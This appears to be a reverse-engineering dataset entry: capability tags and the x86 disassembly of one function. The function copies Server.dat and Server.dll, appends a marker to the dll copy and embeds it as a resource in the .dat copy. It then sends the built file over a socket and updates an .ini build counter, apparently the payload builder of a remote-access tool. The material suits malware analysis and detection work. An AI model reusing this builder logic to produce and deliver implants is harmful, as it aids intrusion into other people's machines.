Function at 0x4016a0
Capabilities:
Check if file exists
Copy file
Delete file
Get file attributes
Get file size
Read .ini file
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402468
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9b4
push ebx
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0xab]
mov byte [ebp - 0xac], 0
mov esi, dword [ebp + 0xc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3b0]
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov dword [ebp - 0x10], esp
push 0x404248
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x3b0]
push 0x100
push eax
push 0
push str.build
push esi
call ebx
lea ecx, [ebp - 0x3b0]
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
test eax, eax
jle 0x401b28
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x1ab]
mov byte [ebp - 0x1ac], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x1ac]
push 0x404248
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x1ac]
push 0x100
xor edi, edi
push edx
push edi
push 0x4040e4
push esi
call ebx
lea eax, [ebp - 0x1ac]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x401b28
lea ecx, [ebp - 0x1ac]
push ecx
call fcn.00401220
add esp, 4
lea edx, [ebp - 0x4b4]
mov ebx, eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40434c
push edx
mov dword [ebp - 0x28], ebx
call edi
lea eax, [ebp - 0x2b0]
push 0x40434c
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x2b0]
push str.Server.dat
push ecx
call edi
lea edx, [ebp - 0x4b4]
push str.Server.dll
push edx
call edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push esi
push 0x40434c
push str._s_s.datbak
push 0x404658
call edi
push esi
push 0x40434c
push str._s_s.dllbak
push 0x40475c
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add esp, 0x20
lea eax, [ebp - 0x2b0]
push eax
call esi
cmp eax, 0xffffffff
je 0x401b28
lea ecx, [ebp - 0x4b4]
push ecx
call esi
cmp eax, 0xffffffff
je 0x401b28
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea edx, [ebp - 0x2b0]
push 0x404658
push edx
call esi
test eax, eax
je 0x401b28
push 0
lea eax, [ebp - 0x4b4]
push 0x40475c
push eax
call esi
test eax, eax
je 0x401b28
lea ecx, [ebp - 0x24]
call sub.MFC42.DLL_CFile::CFile
push 0
push 1
push 0x40475c
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0
call sub.MFC42.DLL_CFile::Open
test eax, eax
je 0x4018cc
push 2
push 0xffffffffffffffff
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CFile::Seek
push 6
push str.AAAAAA
lea ecx, [ebp - 0x24]
call sub.MFC42.DLL_CFile::Write
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push ebx
lea ecx, [ebp - 0x24]
call sub.MFC42.DLL_CFile::Write
lea ecx, [ebp - 0x24]
call sub.MFC42.DLL_CFile::Close
push 0
push 0x80
push 3
push 0
push 1
push accept
push 0x40475c
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401b19
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebp - 0x14], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x2c]
push eax
push ebx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x404658
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov edi, eax
test edi, edi
je 0x401b19
mov edx, dword [ebp - 0x14]
push ebx
push edx
push 0
push 0x4040a0
push 0x40409c
push edi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
test eax, eax
push 0
push edi
jne 0x4019bc
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401b19
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call edi
push 0
push 0
push 3
push 0
push 1
push accept
push 0x404658
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, dword [ebp + 8]
mov ebx, eax
mov ecx, 0x102
xor eax, eax
lea edi, [ebp - 0x9bc]
push eax
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x9b8]
lea ecx, [ebp - 0x9b4]
push eax
push 0x400
push ecx
push ebx
mov byte [ebp - 0x9bc], 0x10
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x9b8]
test eax, eax
je 0x401a62
push 0
lea edx, [ebp - 0x9bc]
push 0x408
push edx
push esi
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
je 0x401af2
push 0
lea eax, [ebp - 0xac]
push 0x80
push eax
push esi
call sub.WS2_32.dll_recv
jmp 0x4019f4
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x5b4]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x3b0]
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
dec eax
lea edx, [ebp - 0x5b4]
push eax
push 0x404098
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp + 0xc]
add esp, 0x10
lea eax, [ebp - 0x5b4]
push 0x404248
push eax
push str.build
push ecx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
xor eax, eax
lea edx, [ebp - 0x9bc]
push eax
mov ecx, 0x102
lea edi, [ebp - 0x9bc]
push 0x408
push edx
push esi
rep stosd dword es:[edi], eax
mov byte [ebp - 0x9bc], 0x11
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
je 0x401af2
push 0
lea eax, [ebp - 0xac]
push 0x80
push eax
push esi
call sub.WS2_32.dll_recv
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x28]
push ecx
call sub.MFC42.DLL_operatordelete
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 4
push 0x404658
call esi
push 0x40475c
call esi
lea ecx, [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.0040213a
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret